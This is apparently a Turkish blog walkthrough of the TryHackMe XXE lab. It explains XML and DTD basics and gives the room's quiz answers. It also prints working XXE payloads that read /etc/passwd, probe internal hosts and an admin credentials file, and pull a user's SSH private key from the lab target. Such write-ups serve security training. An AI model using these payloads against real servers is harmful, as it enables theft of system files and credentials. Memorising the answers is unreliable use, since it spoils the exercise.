TryHackMe:XXE

XML External Entity (XXE) Nedir ?

XXE bir saldırganın uygulamanın kendisinin erişebileceği herhangi bir backend veya external sistemle etkileşime girmesine izin verir ve bu sayede saldırgan sistemden dosya okuyabilir. Ayrıca RCE,SSRF veya DOS gerçekleştirmek için de kullanılabilir. iki tür XXE saldırısı vardır.
1) in-band : Bant içi xxe saldırısı saldırganın xxe payloaduna anında yanıt alabildiği saldırıdır.
2) out-of-band : blind xxe olarak da adlandırılır. Web uygulamasından direkt yanıt gelmez ve saldırgan xxe payloadının çıktısını başka bir dosyaya veya kendi sunucusuna yansıtması gerekir.

İlgili sunucunun şöyle bir xml verisi aldığını varsayalım:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>381</productId>
</stockCheck>

Her xml dökümanı şu şekilde başlar:
<?xml version=”1.0″ encoding=”UTF-8″?>

<stockCheck> root element olarak adlandırılır.

<productId> ise children element olarak adlandırılır.Bu elementlerin tanımlandığı standart DTD (Document Type Definition) olarak adlandırlır ve örneğin note.dtd şeklinde dosyada tutulur.

note.dtd dosyasının içeriği şu şekilde olsun :

<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>

Sunucuya gönderilen xml verisi de bu şekilde :

 <?xmlversion="1.0"encoding="UTF-8"?>
 <!DOCTYPEnote SYSTEM "note.dtd">
 <note>
 <to>falcon</to>
 <from>feast</from>
 <heading>hacking</heading>
 <body>XXE attack</body>
 </note>

!DOCTYPE note kısmı root elementi tanımlar. Bu bilgi note.dtd de mevcut.

!ELEMENT to,from,heading,bodykısımlarının tipi #PCDATA şeklinde tanımlanmıştır.

Örnek XML payloadı şu şekilde :

 <?xml version="1.0"?>
 <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
 <root>&read;</root>

root elementi tanımlandıktan sonra SYSTEM ile sunucudan /etc/passwd dosyası okunur ve read değişkenine aktarılır. Daha sonra bu root elementi içerisinde belirtilip ekrana yazılır.

XXE zafiyetinden ssrf elde etmek de mümkün demiştik:

 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://127.0.0.1/admin/creds.txt"> ]>

Task 1 Deploy the VM:

Makineyi deploy etmekle başlayalım.

Task 2 eXtensible Markup Language:

Soru 1 : Full form of XML

Cevap : extensensible markup language

Soru 2 : Is XML case sensitive?   

Cevap : yes

Soru 3 : Is it compulsory to have XML prolog in XML documents?    

Cevap : no

Soru 4 : Can we validate XML documents against so schema?    

Cevap : yes

Soru 5 : How can we specify XML version and encoding in XML document?

Cevap : xml prolog

Task 3 DTD:

Soru 1 : With what extension do you save a DTD file?

Cevap : dtd

Soru 2 : How do you define a new ELEMENT?   

Cevap : !ELEMENT

Soru 3 : How do you define a ROOT element?  

Cevap : !DOCTYPE

Soru 4 : How do you define a new ENTITY?    

Cevap : !ENTITY

Task 4 XXE payload:

No answer needed.

Task 5 Exploiting:

Soru 1 : What is the name of the user in /etc/passwd

Hedef : 10.10.29.33

Bizi şöyle bir sayfa karşılıyor.

XXE

Payload kısmına XXE payloadımı yazdıktan sonra request e burp ile müdehale edip çıktısını görüyorum.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY goster SYSTEM 'file:///etc/passwd'>]><root>&goster;</root>
XXE

Cevap : falcon

Soru 2 : What are the first 18 characters for falcon’s private key

falconun private key’i .ssh dizini altında bulunuyor. bu yüzden payloadıma bu bilgiyi ekleyip private key e ulaşıyorum.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY cokgizli SYSTEM 'file:////home/falcon/.ssh/id_rsa'>]><root>&cokgizli;</root>
XXE

Cevap : MIIEogIBAAKCAQEA7b

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir